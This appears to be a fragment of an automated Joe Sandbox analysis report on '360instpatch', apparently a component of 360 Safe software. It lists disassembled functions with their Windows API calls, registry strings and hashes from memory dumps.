InitializeCriticalSection.KERNEL32(?,?,00000000,?,?,00B7EAA4,?,?,00100000,00000000,0000008C), ref: 00B820EE

Part of subcall function 00B28940: RegCreateKeyExW.KERNEL32(?,?,00000000,?,?,?,?,00000000,?), ref: 00B28967

Strings

SOFTWARE\360Safe\softmgr\dio, xrefs: 00B820A6, 00B820DD

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CreateCriticalInitializeOpenSection
String ID: SOFTWARE\360Safe\softmgr\dio
API String ID: 2223640745-1814773269
Opcode ID: 1870a4c525f826f766e4172b6f4b0de6686d9053b78e42fedbafb974d8973945
Instruction ID: 6d1efc7805ca4dfa4591f400e02a9a9a5177bc089295cd1d57df4098d1363f8f
Opcode Fuzzy Hash: 1870a4c525f826f766e4172b6f4b0de6686d9053b78e42fedbafb974d8973945
Instruction Fuzzy Hash: 7B0178B0640719AAD3309F699CC1867FBECFF087503904A6EE19AC3A92DA70B9448720

Function 6BF24970 Relevance: 3.0, APIs: 2, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF23C52: CloseHandle.KERNEL32(00000000,6BFCC288,6BF2497A,00000001,6BFCC288,00000000,6BF11C74,?), ref: 6BF23C5D

Part of subcall function 6BEE9134: _wcslen.LIBCMT ref: 6BEE913B

CreateFileW.KERNEL32(6BFCC28C,40000000,00000001,00000000,00000004,00000000,00000000,6BFCC288,00000001,6BFCC288,00000000,6BF11C74,?), ref: 6BF249A5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,00000000,?,?,6BF8AC78), ref: 6BF249BD

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: File$CloseCreateHandlePointer_wcslen
String ID:
API String ID: 4003891552-0
Opcode ID: 424b290c4fcf5eaad3294b321eb27a9566b3f9b01bdd6fab128af8eebd9c75c6
Instruction ID: d5cfc2ecb6f24cc1328af74789802313d0b250d21d1d272479c0f083ff47b487
Opcode Fuzzy Hash: 424b290c4fcf5eaad3294b321eb27a9566b3f9b01bdd6fab128af8eebd9c75c6
Instruction Fuzzy Hash: DBF0B4B3501205AEE6208A648CC9F6BB2ADEB95768F110529F341632A0C7B4AC0086B0

Function 00B465CA Relevance: 3.0, APIs: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00B465F1
InvalidateRect.USER32(?,00000000,00000001), ref: 00B465FD

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Rect$ClientInvalidate
String ID:
API String ID: 645284650-0
Opcode ID: 309ea2ecb93ca41d19a6adfea5606d73cb38dd4d54d15882bde6c4af2e213307
Instruction ID: c6c3090165d5aa2a2ca7c9b9741eaaa4d7461e3e7b841a802db9a5e7de43cc1a
Opcode Fuzzy Hash: 309ea2ecb93ca41d19a6adfea5606d73cb38dd4d54d15882bde6c4af2e213307
Instruction Fuzzy Hash: 64F06931900604EBC721DF4AC8449EEFBF9EBD5700B10856AE066A2120D771AA40DA51

Function 6BF3305E Relevance: 3.0, APIs: 2, Instructions: 35networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 6BF33080
htons.WS2_32(?), ref: 6BF3308C

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: htonlhtons
String ID:
API String ID: 493294928-0
Opcode ID: a5f6ce7cec7e082737ba96de5269a8435884b9e06bee597b5b8090e304867680
Instruction ID: b0ba77af20e7ef2a4d3f308bd0403a215c463414fbb99205de2755361606eb75
Opcode Fuzzy Hash: a5f6ce7cec7e082737ba96de5269a8435884b9e06bee597b5b8090e304867680
Instruction Fuzzy Hash: BAF06272910219ABDF10DFB88806ABF77B8EF19600F40406AF901EB190DA78CA04C7A1

Function 6BF3305D Relevance: 3.0, APIs: 2, Instructions: 35networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32(00000000), ref: 6BF33080
htons.WS2_32(?), ref: 6BF3308C

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: htonlhtons
String ID:
API String ID: 493294928-0
Opcode ID: a54dda2d4fae7bfec6ebe3bbf63c6b7f5c4421a5f9cba2aeded71329b20d571d
Instruction ID: 3808deb4e7bae415ca6a91ab70050c83987cd559cfb9e79c33017454cd4c0186
Opcode Fuzzy Hash: a54dda2d4fae7bfec6ebe3bbf63c6b7f5c4421a5f9cba2aeded71329b20d571d
Instruction Fuzzy Hash: B6F06872910215ABDF10DFB4C406AFF77B4EF19640F00415AF901E7190DB78CA04C791

Function 6BEE7D28 Relevance: 3.0, APIs: 2, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6BEE7D5A
__CxxThrowException@8.LIBCMT ref: 6BEE7D6F

Part of subcall function 6BF38425: _malloc.LIBCMT ref: 6BF3843F

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: 8960cc760e493b5ae692b4887b958ca5b1eb563477ec460abfc01cb19421ebee
Instruction ID: e3bf1820b7c87c8e3e4faf562ee6b0fbc2fac23e38f4bc9621cf4a40cf47ad96
Opcode Fuzzy Hash: 8960cc760e493b5ae692b4887b958ca5b1eb563477ec460abfc01cb19421ebee
Instruction Fuzzy Hash: AEF0E5738101086BCB48DEB4C441EEE377DDB00258F20816E9426D2491EB78D6498BA1

Function 6BEE7CDE Relevance: 3.0, APIs: 2, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 6BEE7D0D
__CxxThrowException@8.LIBCMT ref: 6BEE7D22

Part of subcall function 6BF38425: _malloc.LIBCMT ref: 6BF3843F

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: 11b48289416c79de121b9d88de99cfb3b0c52266f26bd5d76d2d81d28359c016
Instruction ID: 7dfe67e25527dc37e33ecf567a4fca955c3248f184011479a3ff9f1481bc6a1a
Opcode Fuzzy Hash: 11b48289416c79de121b9d88de99cfb3b0c52266f26bd5d76d2d81d28359c016
Instruction Fuzzy Hash: 58E09B739101086AD748DEB8D441FEE77BDEB44254F20826DD826D1095DB7DD6448BA1

Function 6CD9B931 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?), ref: 6CD9B943
PathIsDirectoryW.SHLWAPI(?), ref: 6CD9B94E

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: Path$DirectoryExistsFile
String ID:
API String ID: 1302732169-0
Opcode ID: 09b41a08c8545e0ab651c89f872e0dc66698475bafdb43a7667eeedfc6aab193
Instruction ID: cea22c1254d0150e5ba21418027440c809527a4bb212f8fa16c53320d2c27611
Opcode Fuzzy Hash: 09b41a08c8545e0ab651c89f872e0dc66698475bafdb43a7667eeedfc6aab193
Instruction Fuzzy Hash: 62E01A36312251FB97219B665C08B6B36B8AF86B54B12441DF580EA664D714C802C6A5

Function 00B2AA43 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000E), ref: 00B2AA58
CreateDialogParamW.USER32(00000081,?,Function_0001A96B,?), ref: 00B2AA89

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CreateDialogErrorLastParam
String ID:
API String ID: 3445605341-0
Opcode ID: 64fe0d119874183ff03a2939cf568167180d45485d69c13834691cdded12670e
Instruction ID: 763641d520d88ab3a8e963386360596b90b1ca1b291e2419dd9b78994db7be2c
Opcode Fuzzy Hash: 64fe0d119874183ff03a2939cf568167180d45485d69c13834691cdded12670e
Instruction Fuzzy Hash: 8AE04832594320BBD711AB20ED06FEA7FD8BF19F01F014865B55DA60E0EFA19C54C766

Function 6BF26F3F Relevance: 3.0, APIs: 2, Instructions: 21registryCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF26DCB: RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\LiveUpdate360,00000000,000F003F,6BFCC288,00000000,6BF8AC78,74DF30D0,?,6BFCC3F0,6BFCC288), ref: 6BF26DF2

RegSetValueExW.KERNEL32(00000000,6BF0EB14,00000000,00000004,00000000,00000004,6BF8AC78,6BF0EB14,LastUploadDate,00000000,?,6BFCC3F0,6BFCC288), ref: 6BF26F5F
RegCloseKey.ADVAPI32(00000000,?,6BFCC3F0,6BFCC288), ref: 6BF26F66

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: bfd60810f9adfbb9bf81968cae532d2fbde936fd5b3c513b46da18261469f2c9
Instruction ID: f3b9400530226fd478c0d153807f7377865001c5c868128f1c7e3cc150dec961
Opcode Fuzzy Hash: bfd60810f9adfbb9bf81968cae532d2fbde936fd5b3c513b46da18261469f2c9
Instruction Fuzzy Hash: 10D05E33446B3177DA92AAA8AC05FCF3B986F56720F050480FB409A1A4C724D98F57EA

Function 00B467E9 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000005,00BFBC8C,00B2AFA3,?), ref: 00B467FA
ShowWindow.USER32(?,00000000,00BFBC8C,00B2AFA3,?), ref: 00B46809

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: f2a1a8429180fe5963e47266fe7edcf430fe6ccedd9777365a520c27b218dbce
Instruction ID: 6567f3a62ae9a599c9d12f50b0bd7edb446c1d1c8fd7fcf11781f1ddc3ce0cab
Opcode Fuzzy Hash: f2a1a8429180fe5963e47266fe7edcf430fe6ccedd9777365a520c27b218dbce
Instruction Fuzzy Hash: C3E01A31145600FAE2219B20CC0AFD9B7E1FB25706F51886EB1D1620A0D7B56940DA46

Function 6BEECEFD Relevance: 3.0, APIs: 2, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,6BF0CFA0), ref: 6BEECF0F
DeleteFileW.KERNEL32(?,00000000,?,6BF0CFA0), ref: 6BEECF27

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseDeleteFileHandle
String ID:
API String ID: 2633145722-0
Opcode ID: db8d3bdb1ca809e3aace396949b2585773a9970eb1cee66b903845f2c4a3c3e4
Instruction ID: 0e00105572a2f619bf2451ca1c0883ff9310888e973abd1f841798cd2669281d
Opcode Fuzzy Hash: db8d3bdb1ca809e3aace396949b2585773a9970eb1cee66b903845f2c4a3c3e4
Instruction Fuzzy Hash: 45E08633600501DBC6145A28D804A86BBB5BB923317354749E0B8D33E0D734E45BC6B0

Function 6BEED392 Relevance: 3.0, APIs: 2, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,6BF0CF98), ref: 6BEED3A4
DeleteFileW.KERNEL32(?,00000000,?,6BF0CF98), ref: 6BEED3BC

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseDeleteFileHandle
String ID:
API String ID: 2633145722-0
Opcode ID: 937e93ae96adbf9fa97c7a05ea6d897d984c448dbaae1c97365c16360b7f1428
Instruction ID: 22a2a7f8ec8a7c9a962556a0e22b6f96dbf7ac0dda79f96a8e887da6cc64dd24
Opcode Fuzzy Hash: 937e93ae96adbf9fa97c7a05ea6d897d984c448dbaae1c97365c16360b7f1428
Instruction Fuzzy Hash: BAE08C37100541DBC6145A28D8489C9B7B5BBC3336775879AE0B5D32A0EB34A8AB8AB0

Function 6BF3ABB0 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6BF3ABBC

Part of subcall function 6BF3F185: __getptd_noexit.LIBCMT ref: 6BF3F188
Part of subcall function 6BF3F185: __amsg_exit.LIBCMT ref: 6BF3F195

Part of subcall function 6BF3AB73: __IsNonwritableInCurrentImage.LIBCMT ref: 6BF3AB86
Part of subcall function 6BF3AB73: __getptd_noexit.LIBCMT ref: 6BF3AB96
Part of subcall function 6BF3AB73: __freeptd.LIBCMT ref: 6BF3ABA0
Part of subcall function 6BF3AB73: ExitThread.KERNEL32 ref: 6BF3ABA9

__XcptFilter.LIBCMT ref: 6BF3ABDD

Part of subcall function 6BF42CFD: __getptd_noexit.LIBCMT ref: 6BF42D05

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: __getptd_noexit$CurrentExitFilterImageNonwritableThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 393088965-0
Opcode ID: 8ad10e1ac54e233bd4b421ae6b86792132a121253e87e9c1ce07abfc65ca4883
Instruction ID: 88f92c02908d17cdeb758f2f279ee13b26c7eed8c9a475f98c84992a9919e0b6
Opcode Fuzzy Hash: 8ad10e1ac54e233bd4b421ae6b86792132a121253e87e9c1ce07abfc65ca4883
Instruction Fuzzy Hash: 32E0ECB2914606AFEB18ABB0D906E2E7776EF44215F210099E1019B2B1CB7E99409A60

Function 00B9E9C8 Relevance: 3.0, APIs: 2, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B9E9D4

Part of subcall function 00BA4E30: __getptd_noexit.LIBCMT ref: 00BA4E33
Part of subcall function 00BA4E30: __amsg_exit.LIBCMT ref: 00BA4E40

Part of subcall function 00B9E98B: __IsNonwritableInCurrentImage.LIBCMT ref: 00B9E99E
Part of subcall function 00B9E98B: __getptd_noexit.LIBCMT ref: 00B9E9AE
Part of subcall function 00B9E98B: __freeptd.LIBCMT ref: 00B9E9B8
Part of subcall function 00B9E98B: ExitThread.KERNEL32 ref: 00B9E9C1

__XcptFilter.LIBCMT ref: 00B9E9F5

Part of subcall function 00BAAE94: __getptd_noexit.LIBCMT ref: 00BAAE9C

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: __getptd_noexit$CurrentExitFilterImageNonwritableThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 393088965-0
Opcode ID: 7a521fa8bef36cf283348dcba20538d301a204da11a3957ed52103e895abbc94
Instruction ID: 19ffce6d812b0a755dab0260076d00bca1ecdb30e973297d547c4816169fecb7
Opcode Fuzzy Hash: 7a521fa8bef36cf283348dcba20538d301a204da11a3957ed52103e895abbc94
Instruction Fuzzy Hash: 4BE0ECB5914604AFDB08EBA0C856E2E77A5AF45311F2004D8F1026B2B2CB79AD41DA21

Function 00B4662B Relevance: 3.0, APIs: 2, Instructions: 15timewindowCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,00002711), ref: 00B4663D
PostMessageW.USER32(?,000009DD,00000000,00000000), ref: 00B4664F

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: KillMessagePostTimer
String ID:
API String ID: 3249405171-0
Opcode ID: 4f9ea4417dabc37a6e8023b1a07e96f615d937c2d169558600ade927dc59049b
Instruction ID: 3c141c2354616956148225f23c4db85d2924c981420fa770a687c6811e800aad
Opcode Fuzzy Hash: 4f9ea4417dabc37a6e8023b1a07e96f615d937c2d169558600ade927dc59049b
Instruction Fuzzy Hash: 1FD0A931150610FFE7200B24ED0EF827BA8EB28B01F10843BF219B50A0EBB0EC60CA44

